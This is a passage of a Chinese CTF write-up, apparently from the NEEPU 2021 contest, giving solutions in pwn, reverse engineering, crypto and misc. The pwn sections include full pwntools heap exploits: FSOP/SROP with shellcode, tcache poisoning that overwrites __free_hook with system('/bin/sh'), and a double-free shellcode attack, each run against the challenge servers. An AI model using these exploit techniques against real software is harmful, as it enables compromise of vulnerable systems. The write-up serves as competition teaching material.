    fake_IO += p64(0) # _freeres_buf
    fake_IO += p64(0) # _pad5
    fake_IO += p64(libc.base+libc.sym['_IO_2_1_stdin_']+0x7f91f163a560-0x7f91f1638980) # vtable
        # vtable = stdin + offset(IO_str_jumps-stdin)

    srop_mprotect = SigreturnFrame()
    srop_mprotect.rsp = malloc_hook+0x8
    srop_mprotect.rdi = malloc_hook_base
    srop_mprotect.rsi = 0x1000
    srop_mprotect.rdx = 7
    srop_mprotect.rip = libc.sym['mprotect'] + libc.base

    chunk_edit = str(srop_mprotect)

    mpro = '''
    xor rdi,rdi
    mov rsi,%d
    mov rdx,0x1000
    xor rax,rax
    syscall
    jmp rsi
    '''%malloc_hook_base

    __malloc_hook_edit = p64(setcontext+61) 
    __malloc_hook_edit += p64(malloc_hook+0x10) 
    __malloc_hook_edit += asm(mpro)

    payload = fake_IO
    payload += chunk_edit
    payload += "\x00"*0x18
    payload += __malloc_hook_edit

    p.sendlineafter("choice:",str(3))
    p.sendlineafter(")",str(2))
    p.sendlineafter("index:",str(8))
    p.sendafter("content:",payload)
    #b(0x0001988)
    p.sendlineafter('choice:',str(4))
    shellcode = shellcraft.amd64.open('flag')
    shellcode += shellcraft.amd64.read(3,malloc_hook_base+0x200,0x40)
    shellcode += shellcraft.amd64.write(1,malloc_hook_base+0x200,0x40)
    #gdb.attach(p) 
    p.sendline(asm(shellcode))

    p.interactive()

if __name__ == '__main__':
    pwn()

white_give:

思路:

libc2.32,类似于VN ff那道题目,后门给的还是很多的,只有一次show机会,用来泄露heap_base,而且是只允许申请0x78以下chunk,所以需要打tcache结构体来打IO泄露,然后改free_hook为system执行/bin/sh

exp:

from pwn import *
context(arch='amd64',endian='el',os='linux')
context.log_level = 'debug'
debug = 2
if debug == 1:
    p = process("./pwn")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
else:
    p = remote("neepusec.club",18087)
    libc = ELF("./libc.so.6",checksec=False)

elf = ELF("./pwn",checksec=False)

one = [0xdf54c,0xdf54f,0xdf552]

def add(index,size,content):
    p.sendlineafter("choice:",str(1))
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    p.sendafter(":",content)

def delete(index):
    p.sendlineafter("choice:",str(2))
    p.sendlineafter("index:",str(index))

def show(index):
    p.sendlineafter("choice:",str(3))
    p.sendlineafter("index:",str(index))

def edit(index,content):
    p.sendlineafter("choice:",str(4))
    p.sendlineafter("index:",str(index))
    p.sendafter("content:",content)

add(0,0x60,'a')
delete(0)
show(0)
p.recvuntil("content:")
key = u64(p.recv(5).ljust(8,'\x00'))
heap_base = key*0x1000
success("heap_base = " +hex(heap_base))

edit(0,"b"*0x10)

delete(0)
edit(0,p64(key^(heap_base+0x10)))
add(0,0x60,'a')

add(1,0x60,'\x00'*0x4e + '\x07')

delete(1)
add(2,0x48,'\x00'*6+'\x01'+'\x00'*0x5+'\01'+'\x00'*8)
add(3,0x38,"\x00"*0x10)
add(4,0x10,'\x00'*8+'\xc0\xb6')
add(5,0x40,p64(0xfbad1800) + '\x00'*0x18 + '\x00')
p.recv(8)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-libc.sym["_IO_2_1_stdin_"]
success("libc_base = " + hex(libc_base))
free_hook = libc_base + 0x1e6e40
sys_addr = 0x503c0 + libc_base

add(7,0x30,p64(free_hook))
add(8,0x70,p64(sys_addr))

add(9,0x30,"/bin/sh\x00")
delete(9)

p.interactive()

RushbB!!!

double free 来攻击 0x23330000

写 shellcode 然后把任意写把free_hook改成 0x23330000

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./RushB'])
else:
    p = remote('neepusec.club', 18220)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./RushB', checksec=False)

def add(idx,content):
    p.sendlineafter(">>","1")
    p.sendlineafter(">>",str(idx))
    p.sendlineafter("weapon:\n",content)

def show(idx):
    p.sendlineafter(">>","2")
    p.sendlineafter("check?\n",str(idx))

def free(idx):
    p.sendlineafter(">>","3")
    p.sendlineafter("drop?\n",str(idx))

def write_addr(addr,content):
    p.sendlineafter(">>","4")
    p.sendafter("Where?\n",addr)
    p.sendafter("What?\n",content)

p.sendlineafter(">>","1")
p.sendlineafter(">>","5")

shellcode_addr = 0x23330000
shellcode = '''
    push   0x67616c66
    push   0x67616c66
       mov    rdi,rsp
      xor    edx,edx
       xor    esi,esi
       push   0x2
       pop    rax
       syscall 
       mov    rdi,rax
      xor    eax,eax
      push   0x50
     pop    rdx
    mov    esi,0x1010101
    xor    esi,0x22320301
    syscall 
    push   0x1
     pop    rdi
    push   0x50
    pop    rdx
    mov    esi,0x1010101
    xor    esi,0x22320301
    push   0x1
    pop    rax
    syscall
'''
shellcode = asm(shellcode)
for i in range(0,7):
    add(4,"aaaa")
add(4,"aaaa") #priev 7
add(4,"aaaa") #vic 8
add(1,"aaaa") #9

for i in range(0,7):
    free(i)
free(8)

show(8)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
free_hook = libc_base + libc.sym['__free_hook']
success('libc_base = ' + hex(libc_base))

free(7)
add(4,"aaaa")
free(8)
pd = '\x00'*(0x108-2) + p64(shellcode_addr)
add(5,pd) 
add(4,"aaaa") 
add(4,shellcode)
add(4,'aaaa')

write_addr(p64(free_hook),p64(0x2333000e))
#gdb.attach(p,"b free\nc")
free(0)
p.interactive()

 

RE

OLLEH

这段是斐波那契数列

 v14[0] = 1;
 v14[1] = 1;
 for ( i = 2; i <= 19; ++i )
    v14[i] = v14[i - 2] + v14[i - 1];

能得到v14数组为

[1,1,2,3,5,8,13,21,34,55]

所以写脚本得到数组

a='416:99A:77'
b=[1,1,2,3,5,8,13,21,34,55]
for i in range(len(b)):
    b[i]=b[i]&0xf
d=[0]*10
for i in range(len(b)):
    d[i]=ord(a[i])-b[i]
print(d)
[51, 48, 52, 55, 52, 49, 52, 53, 53, 48]

最后flag就是HELLOworld+数组前5个元素的值再取MD5

NEEPU{HELLOworld5148525552}
NEEPU{a4db343d5faf70bc4fb88dd8d4dc86de}

ez_re

查壳

1621820772116

是c#程序,dnspy打开之后发现4个字符串

1621820825649

整理完

arry =‘mDDO’

arry2=’T{gD’

arry3=’009_’

arry4=’bSE}’

后面是对字符串进行加密

1621820863538

写解密脚本

arry ='mDDO'
arry2='T{gD'
arry3='009_'
arry4='bSE}'
arry_all = 'mDDOT{gD009_bSE}'
flag=''
for i in range(len(arry_all)):
    if arry_all[i] >= 'a' and arry_all[i] <= 'z':
        if arry_all[i] >= 'a' and arry_all[i] <= 'y':
            flag += chr(ord(arry_all[i])-31)
    if arry_all[i] >= 'A' and arry_all[i] <= 'Z':
        if arry_all[i] >= 'A' and arry_all[i] <= 'Y':
            flag += chr(ord(arry_all[i])+33)
    if arry_all[i] >= '0' and arry_all[i] <= '9':
        if arry_all[i] == '9':
            flag +='0'
        else:
            flag += chr(ord(arry_all[i])+1)
print(flag)
NeepuHe110Ctf

特殊字符串没有被加密,直接加上,得到 flag

Neepu{He110_Ctf}

Login

Login.exe是用py文件打包的

把exe文件转换成pyc文件,然后在转换成py文件

得到关键代码

1621821023148

注册过账号密码后,只需在密码后加上ctf,即可弹出 flag

flag:Neepu{vrey_good!!!!!}

miaomiao

打开程序

1619584621548

程序加壳了

1619584781166

查壳

是upx壳,脱壳的过程中发现出现错误,

说明upx壳做了改动,修改文件头

打开一个正常的upx文件的头,应该是这样的

1619585357603

所以直接修改,再保存文件,再脱壳,可以成功脱去

再打开,进入b64_encode函数,是换了密码表的base64

 Block = (char *)malloc(Size + 3);
  v5 = malloc(4 * (Size / 3 + 1));
  memcpy(Block, Src, Size);
  memset(&Block[Size], 0, 3u);
  v9 = 0;
  v8 = 0;
  while ( Size - 1 >= v9 )
  {
    v4 = (Block[v9 + 1] << 8) | (Block[v9] << 16) | Block[v9 + 2];
    for ( i = 0; i <= 3; ++i )
      v5[v8 + i] = b64table[(v4 >> (-6 * i + 18)) & 0x3F];
    v9 += 3;
    v8 += 4;
  }
  v2 = Size % 3;
  if ( Size % 3 == 1 )
  {
    v5[v8 - 2] = 61;
LABEL_12:
    v5[v8 - 1] = 61;
    goto LABEL_13;
  }
  if ( v2 )
  {
    if ( v2 != 2 )
      return v5;
    goto LABEL_12;
  }
LABEL_13:
  v5[v8] = 0;
  free(Block);
  return v5;
}

密码表为

abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/=

这就应该是加密后的字符串

WfYe2KYaXv77PYctBWI5ZZInCucHCYcxPZHpAvq71ecmBXE54ZIc

进入level1函数,是对字母进行的大小写替换

进入level2函数,是对字符串进行位移为3的凯撒加密

所以首先是对字符串进行换码base64加密,然后大小写替换,再进行位移为3的凯撒加密

在线网站解凯撒加密,得到

TcVb2HVxUs77MVzqYTF5WWFkZrzEZVzuMWEmXsn71bzjYUB54WFz

再替换字母的大小写,得到

tCvB2hvXuS77mvZQytf5wwfKzRZezvZUmweMxSN71BZJyub54wfZ

再base64换密码表

import base64
enc = 'tCvB2hvXuS77mvZQytf5wwfKzRZezvZUmweMxSN71BZJyub54wfZ'
intab = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/'
outtab = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
transtab = str.maketrans(intab,outtab)
enc = enc.translate(transtab)
print(base64.b64decode(enc).decode())

得到

Neepu{Sha1_ta1_Yang_De_x1a0_lan_ma@_ya}

flag管理系统

加了个腾讯的壳

1621746132123

第一种做法是可以直接通过 SQL 注入获得 flag

image-20210523000416604

image-20210523000424566

第二种做法是直接解压 apk,在 xml 里发现了 flag.xml

1621756898640

打开后得到flag

Neepu{1204A5C2AC4E8891367B2B2C03F72BB8}

ez

进入sub_40235D函数,rc4加密

对应的base64换表

1621597427995

进入 sub_40152F函数,tea加密

进入sub_4015FD,xtea加密

所以程序整体的流程是有两次输入,对第一次输入的字符串进行换表rc4加密,对第二次输入的8个数先进行tea和xtea加密,最后再进行异或,得到最终数组

开始写脚本,先算出rc4加密后的字符串

#include<stdio.h>
#include <stdint.h>
void teadecrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
    for (i=0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}

int main()
{    
    unsigned int r=32;
    uint32_t v[2]={2673851464,3310450321};
    uint32_t v1[2]={616429839,807110888};
    uint32_t v2[2]={2457144410,2698612238};
    uint32_t v3[3]={2379229075,1331005540};
    uint32_t  k[4]={2,2,3,4};
    teadecrypt(v, k);
    teadecrypt(v1, k);
    decipher(r, v2, k);
    decipher(r, v3, k);
//    printf("%d, %d, %d, %d, %d, %d, %d, %d",v[0],v[1],v1[0],v1[1],v2[0],v2[1],v3[0],v3[1]);
    int a[8];
    a[0]=v[0],a[1]=v[1],a[2]=v1[0],a[3]=v1[1],a[4]=v2[0];a[5]=v2[1],a[6]=v3[0],a[7]=v3[1];
    int temp;
    for(int i=0;i<8;i++)
    for(int j=7;j>i;j--)
    if(a[j]<a[j-1])
    {
        temp=a[j];
        a[j]=a[j-1];
        a[j-1]=temp;
    }
    int b[100]={81, 116, 91, 49, 50, 81, 100, 61, 85, 77, 96, 98, 84, 107, 72, 59, 52, 
    96, 83, 122, 61, 52, 50, 107, 71, 89, 58, 96, 93, 78, 49, 75, 77, 83, 118, 65, 79, 110, 
    68, 126, 100, 70, 63, 62, 4, 5, 7, 8};
    char c[100];
    for(int i=0;i<48;i++)
    {
        c[i]=b[i]^a[i%8];
    //    printf("%d, ",iii[i]);
    }
    printf("%s",c);
    return 0;
}

再rc4解密

#include <stdio.h>
#include <string.h>
const char base[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="; 

char get_index(char ch)   
{ 
    char *ptr = (char*)strrchr(base, ch);
    return (ptr - base); 
}

void RC4(unsigned char *pSrc, int nSrcLen, const char *pKey, int nKeyLen);

void DecodeString2Binary(const char *src, int lenSrc, char* &res, int &lenRes);

void DecodeString2Binary(const char *src, int lenSrc, char* &res, int &lenRes)
{
    lenRes = lenSrc*3/4;
    res = new char[lenRes];

    int cp = 0;
    if(src[lenSrc-1] == '='){lenRes--, cp++;}
    if(src[lenSrc-2] == '='){lenRes--, cp++;}

    char* newSrc = new char[lenSrc-cp];
    int i;
    for(i = 0; i<lenSrc-cp; i++)
        newSrc[i] = get_index(src[i]);

    for(i= 0; i< lenRes; i+=3)
    {
        res[i] = (newSrc[i/3*4]<<2) + (newSrc[i/3*4 + 1]>>4);
        res[i+1] = ((newSrc[i/3*4 + 1]&15) <<4) + (newSrc[i/3*4 + 2]>>2);
        res[i+2] = ((newSrc[i/3*4 + 2]&3) <<6) + (newSrc[i/3*4 + 3]);
    }

    delete []newSrc;
    return;
}

int DecodeBase64RC4(const char* pSrc, char* pDst, const char* pKey);

int DecodeBase64RC4(const char* pSrc, char* pDst, const char* pKey)
{
    if(!pSrc || !pDst || !pKey)
        return 0;

    int nSrcLen = strlen(pSrc);
    int nKeyLen = strlen(pKey);    

    int nResLen = 0;
    char *pRes = NULL;    
    DecodeString2Binary(pSrc, nSrcLen, pRes, nResLen);

    if(pRes)
    {
        RC4((unsigned char*)pRes, nResLen, pKey, nKeyLen);

        memcpy(pDst, pRes, nResLen);
        pDst[nResLen] = '\0';

        delete []pRes, pRes = NULL;
        return nResLen;
    }
    return 0;
}

void RC4(unsigned char *pSrc, int nSrcLen, const char *pKey, int nKeyLen)
{    
    const int MAX_SIZE = 10*1024;
    unsigned char S[256] = {0}, T[256] = {0}, R[MAX_SIZE] = {0};

    if(!pSrc || !pKey || nSrcLen <=0 || nSrcLen > MAX_SIZE || nKeyLen <=0)
        return;        

    int i = 0;
    for(i = 0; i < 256; i++)
    {
        S[i] = i;
        T[i] = pKey[i%nKeyLen];
    }

    int j = 0;
    for(i = 0; i < 256; i++)
    {
        j = (j+S[i]+T[i])%256;

        unsigned char temp = S[i];
        S[i] = S[j], S[j] = temp;        
    }

    i=0, j=0;
    for(int m = 0; m < MAX_SIZE; m++)
    {
        i = (i+1)%256;
        j = (j+S[i])%256;

        unsigned char temp = S[i];
        S[i] = S[j], S[j] = temp;

        int t = (S[i]+S[j])%256;
        R[m] = S[t];
    }

    for(i = 0; i < nSrcLen; i++)
    {
        pSrc[i] ^= R[i];        
    }
}

int main()
{    
    char res2[100];
    char res1[100]="PuY26Tc5TLbaPnO35aQy915cFX8cYK6CLRtBKkCveG==";
    DecodeBase64RC4(res1, res2, "flag{Would_you_like_basketball?}");
    printf("decode, src: %s  -->  res: %s\n", res1, res2);
}

得到

1978-8-23@Kobe@Basketball#$%^&*

所以flag为:

Neepu{1978-8-23@Kobe@Basketball#$%^&*}

 

CRYPTO

中国古代加密

原题描述

古有乾隆晓岚对出千古绝句:花甲重逢,增加三七岁月。古稀双庆,更多一度春秋。

今有诗人徐海源于东电题诗:群芳无力懒梳妆,楚楚金花吐暗香。 不愿游人夸颜色,千紫万红续华章。

题于己亥年三月初十,名为迎春花。

留一密文:千愁万绪

该对使得flag有头有尾,该诗使得flag有声有调,可谓形同:“不到园林怎知春色如许,不入书塾何闻书声朗朗。”

对于第一部分对联,上下联加和均为 141,根据提示有头有尾,可以猜测 141 放置在 flag 的头部和尾部

对于第二部分诗词,考察了中古古代加密的的反切码,根据提示诗分为上下两部分,所以提取诗词的前两句的声母,提取诗词后两句的韵母,得到加密用的字母表

1 2 3 4 5 6 7 8 9 10 11 12 13 14
q f w l l s zh ch ch j h t a x
1 2 3 4 5 6 7 8 9 10 11 12 13 14
u uan ou en ua an e ian i an ong u ua ang

根据提示有声有调得知加密时需要加入声调,声调有四声也就是1,2,3,4,根据密文千愁万绪的拼音声调可以得到这四个字的加密方式的可能性

qian 1声 181
chou 2声 832 932
wan  4声 364 3104
xu   4声 1414 14124

然后排列组合可以得到 8 个可能的组合

1818323641414
18183236414124
18183231041414
181832310414124
1819323641414
18193236414124
18193231041414
181932310414124

根据提示flag比较长,所以先从长一点的加密流程试验,最终的 flag

Neepu{141181832310414124141}

RSA

拿到文件后,查看代码。题中给了对m和m+e的加密。把e当做padding,在sage中解出e和m。然后查看encode函数,发现加密过程跟dp泄露很像,dp=d%(p-1)题中是d%(p+1)。将p-1改为p+1,解密即可。

RSA-1

python 脚本

import gmpy2
from Crypto.Util.number import *

c = 78543767285872349029076059073458316000847341792088805258173041942425687239313215276670106926320359777962661495032475004417723103701253550583245518206305422982968675291500865382213182669036827898932991063338163290845510339896689210314509493839746410486257998875782496654704288722251878269643040214139429715671
n = 91995272927105081122659192011056020468305570748555849650309966887236871318156855318666540461669669247866754568189179687694315627673545298267458869140096224628114424176937828378360997230874932015701507629238213240839370628366083111028544554453150572165461450371411341485911677167168492357154684642531577228543
c1 = 10186066785511829759164194803209819172224966119227668638413350199662683285189286077736537161204019147791799351066849945954518642600518196927152098131117402608793752080104402893792812059620726950782670809837962606250674588612783027976958719051829085903720655233948024280118985875980227528403883475592567727892
c2 = 46182103994299145562022812023438495797686077104477472631494150222038404419414100727667171290098624214113241032861128455086601197239761085752413519627251290509474327611253599768650908336142621210005389246714504358370629231557080301516460985022782887233790302054696967900384601182742759555421864610431428746119
dp = 129256555243625096140386916253259867206651269142565502540823654159666398099455456877012993395632742360829588042575108302297567291349420390228163587340859
e = 71
p = 0
q = 0

for i in range(1, e):
    if (dp * e -1) % i == 0:
        if n % (((dp * e - 1) // i) - 1) == 0:
            p = ((dp * e - 1) // i) - 1
            q = n // (((dp * e - 1) // i) - 1)

n1 = (p-1)*(q-1)
d = gmpy2.invert(e, n1)

m = pow(c,d,n)
print(long_to_bytes(m))

得到 flag

Neepu{Have-a-g00d-day12138}

AES

这是一道简单的aes。给出45位flag_enc,又加上19位字符,总共64位。题中将其分为两部分,然后将其异或的值加密。只要求出异或的值和其中一半的flag值,就可以求出flag_enc。

给出的key是32字节,且两个字节的不断重复得来的。与16字节的iv异或后输出。通过将输出的值与0异或,可以求出key,然后再将输出的值与key异或求出iv,即后一般密文的后16位。

有了key和iv,求出两段明文异或后的值。已知明文的前几位是aaaaaaaaaaaaNeepu{,经过异或求出后半段的前16位明文。整个后半段求出后,异或求出前半段。

之后,再根据题中的提示flag是18位,flag_enc是45位,应该是经过了某种加密。没错,就是键盘加密,解密出真正的flag!

python脚本

import Crypto.Cipher.AES
from Crypto.Util.number import *

enc_flag = b'\xd8\x83\xfd\x89\xc3+\x11\xb8g\xd2\xf5k\xeeU\x88\xb5\xde\x8bq\x9bC\xab\xe3K2R<\xaa\xbc\x92H\x19'
c = 111074535590201916919246051309547040927554959486196038152130336189953949145068
key = long_to_bytes((c^0))
key = key[2:4] * 16
iv = bytes_to_long(key)^c
iv = long_to_bytes(iv)
print(iv)
aes = Crypto.Cipher.AES.new(key,Crypto.Cipher.AES.MODE_CBC,iv)
m = aes.decrypt(enc_flag)
m = bytes_to_long(m)
pad = bytes_to_long(b'aaaaaaaaaaaaNeepu{aaaaaaaaaaaaaa')
m1 = pad^m
m1 = long_to_bytes(m1)[0:16]
flag2 = m1+iv
flag1 = bytes_to_long(flag2)^m
print(long_to_bytes(flag1)+flag2)
'''键盘密码 Neepu{are-you-kidding}'''

flag

Neepu{are-you-kidding}

 

MISC

15 Puzzle!

访问链接 15 Puzzle Game Click Here

15 拼图游戏,通关即可

puzzle

flag

Neepu{Pu33le_G4ME_n22ds_Gre4t_M!nd!}

龙会说话?

先把 jpg 文件头补齐,分离出密文,谷歌龙语的对照表,解出压缩包密码,然后对音频 SilentEye 解密得到 flag

Neepu{Y0U_c4N_5p3ak_D74g0n_L4nge}

coin

连接之后可以交易货币,通过规律发现买哪个哪个货币就会跌,于是全部买进 XRP

image-20210523000543542

让它的价格变成负数,然后再买金钱就会增加了

image-20210523000743313

获得 flag

image-20210523000814002

拔尖儿

分析代码后得知奇数部分为正确的 flag,但是偶数部分是错乱的,分析上部分代码可以得知大于 97 的部分减一即可,小于97的部分需要乘三之后与正确的 flag 字符进行比较,大于它时减少一,等于时就被重置了,根据提示只知老胡稍了个2,1,1,2,0。,结合上部分得到偶数部分恢复的数组

[64,103,101,114,110,56,111,110,98,105,117,95,52,33]

最后拼接起来即可得到 flag

# -*- coding:utf-8 -*-
c = [68,65,110,99,98,110,105,74,51,120,95,57,69,97,64,109,103,96,101,117,54,108,110,93,71,55,110,38]
l = [64,103,101,114,110,56,111,110,98,105,117,95,52,33]
r = ''
j = 0
for i in range(len(c)):
    if i % 2 == 0:
        r += chr(c[i])
    else:
        # r += '?'
        r += chr(l[j])
        j = j+1

print('Neepu{'+ r +'}')

flag

Neepu{D@ngbeir3n_8Eo@ngbei6un_G4n!}

Train

拿到音频得知是无线电,用 MSSTV 解密

20210524130156858

拿到一串代码YW25B639078

参考火车代码,分析后得到 flag

Neepu{硬卧车_25_标准型_120_639078}

本文由AmTrain原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/242237

安全客 - 有思想的安全新媒体

分享到:微信
+13赞
收藏
AmTrain
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66